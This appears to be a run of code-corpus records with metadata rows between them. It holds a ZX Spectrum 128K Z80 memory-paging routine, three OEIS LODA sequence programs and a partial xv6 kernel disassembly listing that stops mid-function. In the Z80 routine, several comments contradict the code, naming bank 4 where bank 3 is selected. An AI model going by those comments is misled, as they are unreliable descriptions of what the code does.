00 00 00 52 52 52 52 52 00 00 52 00 00 00 00 00 00 00 00 00 52 00 00 00 00 00 00 00 00 00 52 00 00 00 00 00 00 52 00 52 52 00 00 00 00 00 00 00 00 00 52 00 00 00 52 00 00 00 00 00 00 52 00 00 00 52 00 00 00 00 00 52 00 00 00 00 00 52 52 52
*/
| 30.838828 | 2,999 | 0.651146 |
[
"MIT"
] |
danielmgmi/medusa
|
Transynther/_processed/AVXALIGN/_st_zr_sm_/i3-7100_9_0x84_notsx.log_21829_310.asm
| 8,419 |
Assembly
|
;
; Routine for the 128K+2/2A/3 to load bank 7 ROM
; and map it on top of ROM/address $0000
;
; Invoked from 128K mode BASIC
;
; By default memory banks will be ROM 0->Bank 5 (screen)->Bank 2->Bank 0
; Each RAM bank is 16KB
;
; Requirements before calling it, CLEAR 30999 ; if it not done it will crash
; as stack needs to be bellow 32768 by the end of this routine, as
; bank 0 and bank 2 will shift positions
;
; see https://www.worldofspectrum.org/faq/reference/128kreference.htm
;
; CLEAR 30999: LOAD "THIS" CODE : RAND USR 31000 : LOAD "ROM" CODE : RAND USR 31001
;
; Short note: USR BASIC routine loads BC with called address
ORG 31000
NOP
LD A,C ; point of entry for 2nd time calling
AND 1
JR NZ,SPECIAL_MODE ; if BC odd, go to SPECIAL_MODE
; First moves bank 4 to $C000 (49152) replacing Bank 0
;
; called with RANDOMIZE USR 31000 (first time)
;
; Paging variable from 128K model onwards
; $7ffd - Bits 0-2: RAM page (0-7) to map into memory at 0xc000.
LD A,($5b5c) ; system copy of $7ffd
AND $f8 ; reset bit 0-2
; RAM page/bank to load at $C000
OR 3 ; Select bank 3 (non contended)
LD BC,$7ffd
DI
LD ($5b5c),A ; save copy of the new value
OUT (C),A ; change bank 0 for bank 4 at $C000
RET
; After LOAD "" CODE 49152
; called with RANDOMIZE USR 31001
;
;
; for loading the "ROM" in Bank 4 at $C000
;
; shift for special mode 2
;
; bank 3 - C000->$FFFF which we LOADed"" will stay at same address
;
; Bank 4->Bank 5->Bank 6->Bank 3
;
; Paging variable from 128K +2A Onwards
; $1ffd - Bit 0: Paging mode. 0=normal, 1=special
; Bit 2=1 and Bit 1=0 : Banks 4->5->6->3
SPECIAL_MODE:
LD A,($5b67) ; system copy of $1ffd
OR $07
XOR $02A ; Special mode, mode 2
LD BC,$1ffd
DI
LD ($5b67),A ; save copy of the new value
OUT (C),A ; change for special mode 2
; 4->5->6->3
JP $FE51 ; JUMP to the beginning of the "new" "ROM"
END 31000
| 24.059524 | 84 | 0.630381 |
[
"MIT"
] |
ruyrybeyro/pirate128
|
ignore_old/pirata_128_paging.asm
| 2,021 |
Assembly
|
; A001254: Squares of Lucas numbers.
; Submitted by Jamie Morken(s2.)
; 4,1,9,16,49,121,324,841,2209,5776,15129,39601,103684,271441,710649,1860496,4870849,12752041,33385284,87403801,228826129,599074576,1568397609,4106118241,10749957124,28143753121,73681302249,192900153616,505019158609,1322157322201,3461452808004,9062201101801,23725150497409,62113250390416,162614600673849,425730551631121,1114577054219524,2918000611027441,7639424778862809,20000273725560976,52361396397820129,137083915467899401,358890350005878084,939587134549734841,2459871053643326449
mov $2,1
mov $4,2
lpb $0
sub $0,1
mov $3,$4
mov $4,$2
add $2,$3
lpe
pow $4,2
mov $0,$4
| 43.333333 | 483 | 0.824615 |
[
"Apache-2.0"
] |
ckrause/loda-programs
|
oeis/001/A001254.asm
| 650 |
Assembly
|
; A040297: Continued fraction for sqrt(315).
; 17,1,2,1,34,1,2,1,34,1,2,1,34,1,2,1,34,1,2,1,34,1,2,1,34,1,2,1,34,1,2,1,34,1,2,1,34,1,2,1,34,1,2,1,34,1,2,1,34,1,2,1,34,1,2,1,34,1,2,1,34,1,2,1,34,1,2,1,34,1,2,1,34,1,2,1,34,1,2,1,34,1,2,1
pow $0,2
add $0,4
mov $1,4
lpb $0,1
mov $1,$0
sub $0,8
sub $1,4
mov $2,1
lpe
mul $1,$0
add $1,$2
add $1,2
trn $1,2
add $1,1
| 20.5 | 190 | 0.560976 |
[
"Apache-2.0"
] |
karttu/loda
|
programs/oeis/040/A040297.asm
| 369 |
Assembly
|
; A163325: Pick digits at the even distance from the least significant end of the ternary expansion of n, then convert back to decimal.
; Submitted by Jamie Morken(s4)
; 0,1,2,0,1,2,0,1,2,3,4,5,3,4,5,3,4,5,6,7,8,6,7,8,6,7,8,0,1,2,0,1,2,0,1,2,3,4,5,3,4,5,3,4,5,6,7,8,6,7,8,6,7,8,0,1,2,0,1,2,0,1,2,3,4,5,3,4,5,3,4,5,6,7,8,6,7,8,6,7,8,9,10,11,9,10,11,9,10,11,12,13,14,12,13,14,12,13,14,15
mov $2,4
lpb $0
mul $2,3
mov $3,$0
div $0,3
add $3,$0
mul $0,2
div $0,6
mod $3,4
mul $3,$2
add $1,$3
lpe
mov $0,$1
div $0,12
| 27.894737 | 217 | 0.596226 |
[
"Apache-2.0"
] |
ckrause/loda-programs
|
oeis/163/A163325.asm
| 530 |
Assembly
|
kernel: file format elf32-i386
Disassembly of section .text:
80100000 <multiboot_header>:
80100000: 02 b0 ad 1b 00 00 add 0x1bad(%eax),%dh
80100006: 00 00 add %al,(%eax)
80100008: fe 4f 52 decb 0x52(%edi)
8010000b: e4 .byte 0xe4
8010000c <entry>:
# Entering xv6 on boot processor, with paging off.
.globl entry
entry:
# Turn on page size extension for 4Mbyte pages
movl %cr4, %eax
8010000c: 0f 20 e0 mov %cr4,%eax
orl $(CR4_PSE), %eax
8010000f: 83 c8 10 or $0x10,%eax
movl %eax, %cr4
80100012: 0f 22 e0 mov %eax,%cr4
# Set page directory
movl $(V2P_WO(entrypgdir)), %eax
80100015: b8 00 90 10 00 mov $0x109000,%eax
movl %eax, %cr3
8010001a: 0f 22 d8 mov %eax,%cr3
# Turn on paging.
movl %cr0, %eax
8010001d: 0f 20 c0 mov %cr0,%eax
orl $(CR0_PG|CR0_WP), %eax
80100020: 0d 00 00 01 80 or $0x80010000,%eax
movl %eax, %cr0
80100025: 0f 22 c0 mov %eax,%cr0
# Set up the stack pointer.
movl $(stack + KSTACKSIZE), %esp
80100028: bc c0 b5 10 80 mov $0x8010b5c0,%esp
# Jump to main(), and switch to executing at
# high addresses. The indirect call is needed because
# the assembler produces a PC-relative instruction
# for a direct jump.
mov $main, %eax
8010002d: b8 d0 2d 10 80 mov $0x80102dd0,%eax
jmp *%eax
80100032: ff e0 jmp *%eax
80100034: 66 90 xchg %ax,%ax
80100036: 66 90 xchg %ax,%ax
80100038: 66 90 xchg %ax,%ax
8010003a: 66 90 xchg %ax,%ax
8010003c: 66 90 xchg %ax,%ax
8010003e: 66 90 xchg %ax,%ax
80100040 <binit>:
struct buf head;
} bcache;
void
binit(void)
{
80100040: 55 push %ebp
80100041: 89 e5 mov %esp,%ebp
80100043: 53 push %ebx
//PAGEBREAK!
// Create linked list of buffers
bcache.head.prev = &bcache.head;
bcache.head.next = &bcache.head;
for(b = bcache.buf; b < bcache.buf+NBUF; b++){
80100044: bb f4 b5 10 80 mov $0x8010b5f4,%ebx
{
80100049: 83 ec 14 sub $0x14,%esp
initlock(&bcache.lock, "bcache");
8010004c: c7 44 24 04 00 6e 10 movl $0x80106e00,0x4(%esp)
80100053: 80
80100054: c7 04 24 c0 b5 10 80 movl $0x8010b5c0,(%esp)
8010005b: e8 d0 3f 00 00 call 80104030 <initlock>
bcache.head.next = &bcache.head;
80100060: ba bc fc 10 80 mov $0x8010fcbc,%edx
bcache.head.prev = &bcache.head;
80100065: c7 05 0c fd 10 80 bc movl $0x8010fcbc,0x8010fd0c
8010006c: fc 10 80
bcache.head.next = &bcache.head;
8010006f: c7 05 10 fd 10 80 bc movl $0x8010fcbc,0x8010fd10
80100076: fc 10 80
80100079: eb 09 jmp 80100084 <binit+0x44>
8010007b: 90 nop
8010007c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80100080: 89 da mov %ebx,%edx
for(b = bcache.buf; b < bcache.buf+NBUF; b++){
80100082: 89 c3 mov %eax,%ebx
80100084: 8d 43 0c lea 0xc(%ebx),%eax
b->next = bcache.head.next;
80100087: 89 53 54 mov %edx,0x54(%ebx)
b->prev = &bcache.head;
8010008a: c7 43 50 bc fc 10 80 movl $0x8010fcbc,0x50(%ebx)
initsleeplock(&b->lock, "buffer");
80100091: 89 04 24 mov %eax,(%esp)
80100094: c7 44 24 04 07 6e 10 movl $0x80106e07,0x4(%esp)
8010009b: 80
8010009c: e8 7f 3e 00 00 call 80103f20 <initsleeplock>
bcache.head.next->prev = b;
801000a1: a1 10 fd 10 80 mov 0x8010fd10,%eax
801000a6: 89 58 50 mov %ebx,0x50(%eax)
for(b = bcache.buf; b < bcache.buf+NBUF; b++){
801000a9: 8d 83 5c 02 00 00 lea 0x25c(%ebx),%eax
801000af: 3d bc fc 10 80 cmp $0x8010fcbc,%eax
bcache.head.next = b;
801000b4: 89 1d 10 fd 10 80 mov %ebx,0x8010fd10
for(b = bcache.buf; b < bcache.buf+NBUF; b++){
801000ba: 75 c4 jne 80100080 <binit+0x40>
}
}
801000bc: 83 c4 14 add $0x14,%esp
801000bf: 5b pop %ebx
801000c0: 5d pop %ebp
801000c1: c3 ret
801000c2: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
801000c9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
801000d0 <bread>:
}
// Return a locked buf with the contents of the indicated block.
struct buf*
bread(uint dev, uint blockno)
{
801000d0: 55 push %ebp
801000d1: 89 e5 mov %esp,%ebp
801000d3: 57 push %edi
801000d4: 56 push %esi
801000d5: 53 push %ebx
801000d6: 83 ec 1c sub $0x1c,%esp
801000d9: 8b 75 08 mov 0x8(%ebp),%esi
acquire(&bcache.lock);
801000dc: c7 04 24 c0 b5 10 80 movl $0x8010b5c0,(%esp)
{
801000e3: 8b 7d 0c mov 0xc(%ebp),%edi
acquire(&bcache.lock);
801000e6: e8 35 40 00 00 call 80104120 <acquire>
for(b = bcache.head.next; b != &bcache.head; b = b->next){
801000eb: 8b 1d 10 fd 10 80 mov 0x8010fd10,%ebx
801000f1: 81 fb bc fc 10 80 cmp $0x8010fcbc,%ebx
801000f7: 75 12 jne 8010010b <bread+0x3b>
801000f9: eb 25 jmp 80100120 <bread+0x50>
801000fb: 90 nop
801000fc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80100100: 8b 5b 54 mov 0x54(%ebx),%ebx
80100103: 81 fb bc fc 10 80 cmp $0x8010fcbc,%ebx
80100109: 74 15 je 80100120 <bread+0x50>
if(b->dev == dev && b->blockno == blockno){
8010010b: 3b 73 04 cmp 0x4(%ebx),%esi
8010010e: 75 f0 jne 80100100 <bread+0x30>
80100110: 3b 7b 08 cmp 0x8(%ebx),%edi
80100113: 75 eb jne 80100100 <bread+0x30>
b->refcnt++;
80100115: 83 43 4c 01 addl $0x1,0x4c(%ebx)
80100119: eb 3f jmp 8010015a <bread+0x8a>
8010011b: 90 nop
8010011c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
for(b = bcache.head.prev; b != &bcache.head; b = b->prev){
80100120: 8b 1d 0c fd 10 80 mov 0x8010fd0c,%ebx
80100126: 81 fb bc fc 10 80 cmp $0x8010fcbc,%ebx
8010012c: 75 0d jne 8010013b <bread+0x6b>
8010012e: eb 58 jmp 80100188 <bread+0xb8>
80100130: 8b 5b 50 mov 0x50(%ebx),%ebx
80100133: 81 fb bc fc 10 80 cmp $0x8010fcbc,%ebx
80100139: 74 4d je 80100188 <bread+0xb8>
if(b->refcnt == 0 && (b->flags & B_DIRTY) == 0) {
8010013b: 8b 43 4c mov 0x4c(%ebx),%eax
8010013e: 85 c0 test %eax,%eax
80100140: 75 ee jne 80100130 <bread+0x60>
80100142: f6 03 04 testb $0x4,(%ebx)
80100145: 75 e9 jne 80100130 <bread+0x60>
b->dev = dev;
80100147: 89 73 04 mov %esi,0x4(%ebx)
b->blockno = blockno;
8010014a: 89 7b 08 mov %edi,0x8(%ebx)
b->flags = 0;
8010014d: c7 03 00 00 00 00 movl $0x0,(%ebx)
b->refcnt = 1;
80100153: c7 43 4c 01 00 00 00 movl $0x1,0x4c(%ebx)
release(&bcache.lock);
8010015a: c7 04 24 c0 b5 10 80 movl $0x8010b5c0,(%esp)
80100161: e8 aa 40 00 00 call 80104210 <release>
acquiresleep(&b->lock);
80100166: 8d 43 0c lea 0xc(%ebx),%eax
80100169: 89 04 24 mov %eax,(%esp)
8010016c: e8 ef 3d 00 00 call 80103f60 <acquiresleep>
struct buf *b;
b = bget(dev, blockno);
if((b->flags & B_VALID) == 0) {
80100171: f6 03 02 testb $0x2,(%ebx)
80100174: 75 08 jne 8010017e <bread+0xae>
iderw(b);
80100176: 89 1c 24 mov %ebx,(%esp)
80100179: e8 82 1f 00 00 call 80102100 <iderw>
}
return b;
}
8010017e: 83 c4 1c add $0x1c,%esp
80100181: 89 d8 mov %ebx,%eax
80100183: 5b pop %ebx
80100184: 5e pop %esi
80100185: 5f pop %edi
80100186: 5d pop %ebp
80100187: c3 ret
panic("bget: no buffers");
80100188: c7 04 24 0e 6e 10 80 movl $0x80106e0e,(%esp)
8010018f: e8 cc 01 00 00 call 80100360 <panic>
80100194: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
8010019a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
801001a0 <bwrite>:
// Write b's contents to disk. Must be locked.
void
bwrite(struct buf *b)
{
801001a0: 55 push %ebp
801001a1: 89 e5 mov %esp,%ebp
801001a3: 53 push %ebx
801001a4: 83 ec 14 sub $0x14,%esp
801001a7: 8b 5d 08 mov 0x8(%ebp),%ebx
if(!holdingsleep(&b->lock))
801001aa: 8d 43 0c lea 0xc(%ebx),%eax
801001ad: 89 04 24 mov %eax,(%esp)
801001b0: e8 4b 3e 00 00 call 80104000 <holdingsleep>
801001b5: 85 c0 test %eax,%eax
801001b7: 74 10 je 801001c9 <bwrite+0x29>
panic("bwrite");
b->flags |= B_DIRTY;
801001b9: 83 0b 04 orl $0x4,(%ebx)
iderw(b);
801001bc: 89 5d 08 mov %ebx,0x8(%ebp)
}
801001bf: 83 c4 14 add $0x14,%esp
801001c2: 5b pop %ebx
801001c3: 5d pop %ebp
iderw(b);
801001c4: e9 37 1f 00 00 jmp 80102100 <iderw>
panic("bwrite");
801001c9: c7 04 24 1f 6e 10 80 movl $0x80106e1f,(%esp)
801001d0: e8 8b 01 00 00 call 80100360 <panic>
801001d5: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
801001d9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
801001e0 <brelse>:
// Release a locked buffer.
// Move to the head of the MRU list.
void
brelse(struct buf *b)
{
801001e0: 55 push %ebp
801001e1: 89 e5 mov %esp,%ebp
801001e3: 56 push %esi
801001e4: 53 push %ebx
801001e5: 83 ec 10 sub $0x10,%esp
801001e8: 8b 5d 08 mov 0x8(%ebp),%ebx
if(!holdingsleep(&b->lock))
801001eb: 8d 73 0c lea 0xc(%ebx),%esi
801001ee: 89 34 24 mov %esi,(%esp)
801001f1: e8 0a 3e 00 00 call 80104000 <holdingsleep>
801001f6: 85 c0 test %eax,%eax
801001f8: 74 5b je 80100255 <brelse+0x75>
panic("brelse");
releasesleep(&b->lock);
801001fa: 89 34 24 mov %esi,(%esp)
801001fd: e8 be 3d 00 00 call 80103fc0 <releasesleep>
acquire(&bcache.lock);
80100202: c7 04 24 c0 b5 10 80 movl $0x8010b5c0,(%esp)
80100209: e8 12 3f 00 00 call 80104120 <acquire>
b->refcnt--;
if (b->refcnt == 0) {
8010020e: 83 6b 4c 01 subl $0x1,0x4c(%ebx)
80100212: 75 2f jne 80100243 <brelse+0x63>
// no one is waiting for it.
b->next->prev = b->prev;
80100214: 8b 43 54 mov 0x54(%ebx),%eax
80100217: 8b 53 50 mov 0x50(%ebx),%edx
8010021a: 89 50 50 mov %edx,0x50(%eax)
b->prev->next = b->next;
8010021d: 8b 43 50 mov 0x50(%ebx),%eax
80100220: 8b 53 54 mov 0x54(%ebx),%edx
80100223: 89 50 54 mov %edx,0x54(%eax)
b->next = bcache.head.next;
80100226: a1 10 fd 10 80 mov 0x8010fd10,%eax
b->prev = &bcache.head;
8010022b: c7 43 50 bc fc 10 80 movl $0x8010fcbc,0x50(%ebx)
b->next = bcache.head.next;
80100232: 89 43 54 mov %eax,0x54(%ebx)
bcache.head.next->prev = b;
80100235: a1 10 fd 10 80 mov 0x8010fd10,%eax
8010023a: 89 58 50 mov %ebx,0x50(%eax)
bcache.head.next = b;
8010023d: 89 1d 10 fd 10 80 mov %ebx,0x8010fd10
}
release(&bcache.lock);
80100243: c7 45 08 c0 b5 10 80 movl $0x8010b5c0,0x8(%ebp)
}
8010024a: 83 c4 10 add $0x10,%esp
8010024d: 5b pop %ebx
8010024e: 5e pop %esi
8010024f: 5d pop %ebp
release(&bcache.lock);
80100250: e9 bb 3f 00 00 jmp 80104210 <release>
panic("brelse");
80100255: c7 04 24 26 6e 10 80 movl $0x80106e26,(%esp)
8010025c: e8 ff 00 00 00 call 80100360 <panic>
80100261: 66 90 xchg %ax,%ax
80100263: 66 90 xchg %ax,%ax
80100265: 66 90 xchg %ax,%ax
80100267: 66 90 xchg %ax,%ax
80100269: 66 90 xchg %ax,%ax
8010026b: 66 90 xchg %ax,%ax
8010026d: 66 90 xchg %ax,%ax
8010026f: 90 nop
80100270 <consoleread>:
}
}
int
consoleread(struct inode *ip, char *dst, int n)
{
80100270: 55 push %ebp
80100271: 89 e5 mov %esp,%ebp
80100273: 57 push %edi
80100274: 56 push %esi
80100275: 53 push %ebx
80100276: 83 ec 1c sub $0x1c,%esp
80100279: 8b 7d 08 mov 0x8(%ebp),%edi
8010027c: 8b 75 0c mov 0xc(%ebp),%esi
uint target;
int c;
iunlock(ip);
8010027f: 89 3c 24 mov %edi,(%esp)
80100282: e8 e9 14 00 00 call 80101770 <iunlock>
target = n;
acquire(&cons.lock);
80100287: c7 04 24 20 a5 10 80 movl $0x8010a520,(%esp)
8010028e: e8 8d 3e 00 00 call 80104120 <acquire>
while(n > 0){
80100293: 8b 55 10 mov 0x10(%ebp),%edx
80100296: 85 d2 test %edx,%edx
80100298: 0f 8e bc 00 00 00 jle 8010035a <consoleread+0xea>
8010029e: 8b 5d 10 mov 0x10(%ebp),%ebx
801002a1: eb 25 jmp 801002c8 <consoleread+0x58>
801002a3: 90 nop
801002a4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
while(input.r == input.w){
if(myproc()->killed){
801002a8: e8 d3 33 00 00 call 80103680 <myproc>
801002ad: 8b 40 24 mov 0x24(%eax),%eax
801002b0: 85 c0 test %eax,%eax
801002b2: 75 74 jne 80100328 <consoleread+0xb8>
release(&cons.lock);
ilock(ip);
return -1;
}
sleep(&input.r, &cons.lock);
801002b4: c7 44 24 04 20 a5 10 movl $0x8010a520,0x4(%esp)
801002bb: 80
801002bc: c7 04 24 a0 ff 10 80 movl $0x8010ffa0,(%esp)
801002c3: e8 18 39 00 00 call 80103be0 <sleep>
while(input.r == input.w){
801002c8: a1 a0 ff 10 80 mov 0x8010ffa0,%eax
801002cd: 3b 05 a4 ff 10 80 cmp 0x8010ffa4,%eax
801002d3: 74 d3 je 801002a8 <consoleread+0x38>
}
c = input.buf[input.r++ % INPUT_BUF];
801002d5: 8d 50 01 lea 0x1(%eax),%edx
801002d8: 89 15 a0 ff 10 80 mov %edx,0x8010ffa0
801002de: 89 c2 mov %eax,%edx
801002e0: 83 e2 7f and $0x7f,%edx
801002e3: 0f b6 8a 20 ff 10 80 movzbl -0x7fef00e0(%edx),%ecx
801002ea: 0f be d1 movsbl %cl,%edx
if(c == C('D')){ // EOF
801002ed: 83 fa 04 cmp $0x4,%edx
801002f0: 74 57 je 80100349 <consoleread+0xd9>
// caller gets a 0-byte result.
input.r--;
}
break;
}
*dst++ = c;
801002f2: 83 c6 01 add $0x1,%esi
--n;
801002f5: 83 eb 01 sub $0x1,%ebx
if(c == '\n')
801002f8: 83 fa 0a cmp $0xa,%edx
*dst++ = c;
801002fb: 88 4e ff mov %cl,-0x1(%esi)
if(c == '\n')
801002fe: 74 53 je 80100353 <consoleread+0xe3>
while(n > 0){
80100300: 85 db test %ebx,%ebx
80100302: 75 c4 jne 801002c8 <consoleread+0x58>
80100304: 8b 45 10 mov 0x10(%ebp),%eax
break;
}
release(&cons.lock);
80100307: c7 04 24 20 a5 10 80 movl $0x8010a520,(%esp)
8010030e: 89 45 e4 mov %eax,-0x1c(%ebp)
80100311: e8 fa 3e 00 00 call 80104210 <release>
ilock(ip);
80100316: 89 3c 24 mov %edi,(%esp)
80100319: e8 72 13 00 00 call 80101690 <ilock>
8010031e: 8b 45 e4 mov -0x1c(%ebp),%eax
return target - n;
80100321: eb 1e jmp 80100341 <consoleread+0xd1>
80100323: 90 nop
80100324: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
release(&cons.lock);
80100328: c7 04 24 20 a5 10 80 movl $0x8010a520,(%esp)
8010032f: e8 dc 3e 00 00 call 80104210 <release>
ilock(ip);
80100334: 89 3c 24 mov %edi,(%esp)
80100337: e8 54 13 00 00 call 80101690 <ilock>
return -1;
8010033c: b8 ff ff ff ff mov $0xffffffff,%eax
}
80100341: 83 c4 1c add $0x1c,%esp
80100344: 5b pop %ebx
80100345: 5e pop %esi
80100346: 5f pop %edi
80100347: 5d pop %ebp
80100348: c3 ret
if(n < target){
80100349: 39 5d 10 cmp %ebx,0x10(%ebp)
8010034c: 76 05 jbe 80100353 <consoleread+0xe3>
input.r--;
8010034e: a3 a0 ff 10 80 mov %eax,0x8010ffa0
80100353: 8b 45 10 mov 0x10(%ebp),%eax
80100356: 29 d8 sub %ebx,%eax
80100358: eb ad jmp 80100307 <consoleread+0x97>
while(n > 0){
8010035a: 31 c0 xor %eax,%eax
8010035c: eb a9 jmp 80100307 <consoleread+0x97>
8010035e: 66 90 xchg %ax,%ax
80100360 <panic>:
{
80100360: 55 push %ebp
80100361: 89 e5 mov %esp,%ebp
80100363: 56 push %esi
80100364: 53 push %ebx
80100365: 83 ec 40 sub $0x40,%esp
}
static inline void
cli(void)
{
asm volatile("cli");
80100368: fa cli
cons.locking = 0;
80100369: c7 05 54 a5 10 80 00 movl $0x0,0x8010a554
80100370: 00 00 00
getcallerpcs(&s, pcs);
80100373: 8d 5d d0 lea -0x30(%ebp),%ebx
cprintf("lapicid %d: panic: ", lapicid());
80100376: e8 c5 23 00 00 call 80102740 <lapicid>
8010037b: 8d 75 f8 lea -0x8(%ebp),%esi
8010037e: c7 04 24 2d 6e 10 80 movl $0x80106e2d,(%esp)
80100385: 89 44 24 04 mov %eax,0x4(%esp)
80100389: e8 c2 02 00 00 call 80100650 <cprintf>
cprintf(s);
8010038e: 8b 45 08 mov 0x8(%ebp),%eax
80100391: 89 04 24 mov %eax,(%esp)
80100394: e8 b7 02 00 00 call 80100650 <cprintf>
cprintf("\n");
80100399: c7 04 24 db 77 10 80 movl $0x801077db,(%esp)
801003a0: e8 ab 02 00 00 call 80100650 <cprintf>
getcallerpcs(&s, pcs);
801003a5: 8d 45 08 lea 0x8(%ebp),%eax
801003a8: 89 5c 24 04 mov %ebx,0x4(%esp)
801003ac: 89 04 24 mov %eax,(%esp)
801003af: e8 9c 3c 00 00 call 80104050 <getcallerpcs>
801003b4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
cprintf(" %p", pcs[i]);
801003b8: 8b 03 mov (%ebx),%eax
801003ba: 83 c3 04 add $0x4,%ebx
801003bd: c7 04 24 41 6e 10 80 movl $0x80106e41,(%esp)
801003c4: 89 44 24 04 mov %eax,0x4(%esp)
801003c8: e8 83 02 00 00 call 80100650 <cprintf>
for(i=0; i<10; i++)
801003cd: 39 f3 cmp %esi,%ebx
801003cf: 75 e7 jne 801003b8 <panic+0x58>
panicked = 1; // freeze other CPU
801003d1: c7 05 58 a5 10 80 01 movl $0x1,0x8010a558
801003d8: 00 00 00
801003db: eb fe jmp 801003db <panic+0x7b>
801003dd: 8d 76 00 lea 0x0(%esi),%esi
801003e0 <consputc>:
if(panicked){
801003e0: 8b 15 58 a5 10 80 mov 0x8010a558,%edx
801003e6: 85 d2 test %edx,%edx
801003e8: 74 06 je 801003f0 <consputc+0x10>
801003ea: fa cli
801003eb: eb fe jmp 801003eb <consputc+0xb>
801003ed: 8d 76 00 lea 0x0(%esi),%esi
{
801003f0: 55 push %ebp
801003f1: 89 e5 mov %esp,%ebp
801003f3: 57 push %edi
801003f4: 56 push %esi
801003f5: 53 push %ebx
801003f6: 89 c3 mov %eax,%ebx
801003f8: 83 ec 1c sub $0x1c,%esp
if(c == BACKSPACE){
801003fb: 3d 00 01 00 00 cmp $0x100,%eax
80100400: 0f 84 ac 00 00 00 je 801004b2 <consputc+0xd2>
uartputc(c);
80100406: 89 04 24 mov %eax,(%esp)
80100409: e8 02 54 00 00 call 80105810 <uartputc>
asm volatile("out %0,%1" : : "a" (data), "d" (port));
8010040e: bf d4 03 00 00 mov $0x3d4,%edi
80100413: b8 0e 00 00 00 mov $0xe,%eax
80100418: 89 fa mov %edi,%edx
8010041a: ee out %al,(%dx)
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
8010041b: be d5 03 00 00 mov $0x3d5,%esi
80100420: 89 f2 mov %esi,%edx
80100422: ec in (%dx),%al
pos = inb(CRTPORT+1) << 8;
80100423: 0f b6 c8 movzbl %al,%ecx
asm volatile("out %0,%1" : : "a" (data), "d" (port));
80100426: 89 fa mov %edi,%edx
80100428: c1 e1 08 shl $0x8,%ecx
8010042b: b8 0f 00 00 00 mov $0xf,%eax
80100430: ee out %al,(%dx)
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
80100431: 89 f2 mov %esi,%edx
80100433: ec in (%dx),%al
pos |= inb(CRTPORT+1);
80100434: 0f b6 c0 movzbl %al,%eax
80100437: 09 c1 or %eax,%ecx
if(c == '\n')
80100439: 83 fb 0a cmp $0xa,%ebx
8010043c: 0f 84 0d 01 00 00 je 8010054f <consputc+0x16f>
else if(c == BACKSPACE){
80100442: 81 fb 00 01 00 00 cmp $0x100,%ebx
80100448: 0f 84 e8 00 00 00 je 80100536 <consputc+0x156>
crt[pos++] = (c&0xff) | 0x0700; // black on white
8010044e: 0f b6 db movzbl %bl,%ebx
80100451: 80 cf 07 or $0x7,%bh
80100454: 8d 79 01 lea 0x1(%ecx),%edi
80100457: 66 89 9c 09 00 80 0b mov %bx,-0x7ff48000(%ecx,%ecx,1)
8010045e: 80
if(pos < 0 || pos > 25*80)
8010045f: 81 ff d0 07 00 00 cmp $0x7d0,%edi
80100465: 0f 87 bf 00 00 00 ja 8010052a <consputc+0x14a>
if((pos/80) >= 24){ // Scroll up.
8010046b: 81 ff 7f 07 00 00 cmp $0x77f,%edi
80100471: 7f 68 jg 801004db <consputc+0xfb>
80100473: 89 f8 mov %edi,%eax
80100475: 89 fb mov %edi,%ebx
80100477: c1 e8 08 shr $0x8,%eax
8010047a: 89 c6 mov %eax,%esi
8010047c: 8d 8c 3f 00 80 0b 80 lea -0x7ff48000(%edi,%edi,1),%ecx
asm volatile("out %0,%1" : : "a" (data), "d" (port));
80100483: bf d4 03 00 00 mov $0x3d4,%edi
80100488: b8 0e 00 00 00 mov $0xe,%eax
8010048d: 89 fa mov %edi,%edx
8010048f: ee out %al,(%dx)
80100490: 89 f0 mov %esi,%eax
80100492: b2 d5 mov $0xd5,%dl
80100494: ee out %al,(%dx)
80100495: b8 0f 00 00 00 mov $0xf,%eax
8010049a: 89 fa mov %edi,%edx
8010049c: ee out %al,(%dx)
8010049d: 89 d8 mov %ebx,%eax
8010049f: b2 d5 mov $0xd5,%dl
801004a1: ee out %al,(%dx)
crt[pos] = ' ' | 0x0700;
801004a2: b8 20 07 00 00 mov $0x720,%eax
801004a7: 66 89 01 mov %ax,(%ecx)
}
801004aa: 83 c4 1c add $0x1c,%esp
801004ad: 5b pop %ebx
801004ae: 5e pop %esi
801004af: 5f pop %edi
801004b0: 5d pop %ebp
801004b1: c3 ret
uartputc('\b'); uartputc(' '); uartputc('\b');
801004b2: c7 04 24 08 00 00 00 movl $0x8,(%esp)
801004b9: e8 52 53 00 00 call 80105810 <uartputc>
801004be: c7 04 24 20 00 00 00 movl $0x20,(%esp)
801004c5: e8 46 53 00 00 call 80105810 <uartputc>
801004ca: c7 04 24 08 00 00 00 movl $0x8,(%esp)
801004d1: e8 3a 53 00 00 call 80105810 <uartputc>
801004d6: e9 33 ff ff ff jmp 8010040e <consputc+0x2e>
memmove(crt, crt+80, sizeof(crt[0])*23*80);
801004db: c7 44 24 08 60 0e 00 movl $0xe60,0x8(%esp)
801004e2: 00
pos -= 80;
801004e3: 8d 5f b0 lea -0x50(%edi),%ebx
memmove(crt, crt+80, sizeof(crt[0])*23*80);
801004e6: c7 44 24 04 a0 80 0b movl $0x800b80a0,0x4(%esp)
801004ed: 80
memset(crt+pos, 0, sizeof(crt[0])*(24*80 - pos));
801004ee: 8d b4 1b 00 80 0b 80 lea -0x7ff48000(%ebx,%ebx,1),%esi
memmove(crt, crt+80, sizeof(crt[0])*23*80);
801004f5: c7 04 24 00 80 0b 80 movl $0x800b8000,(%esp)
801004fc: e8 ff 3d 00 00 call 80104300 <memmove>
memset(crt+pos, 0, sizeof(crt[0])*(24*80 - pos));
80100501: b8 d0 07 00 00 mov $0x7d0,%eax
80100506: 29 f8 sub %edi,%eax
80100508: 01 c0 add %eax,%eax
8010050a: 89 34 24 mov %esi,(%esp)
8010050d: 89 44 24 08 mov %eax,0x8(%esp)
80100511: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
80100518: 00
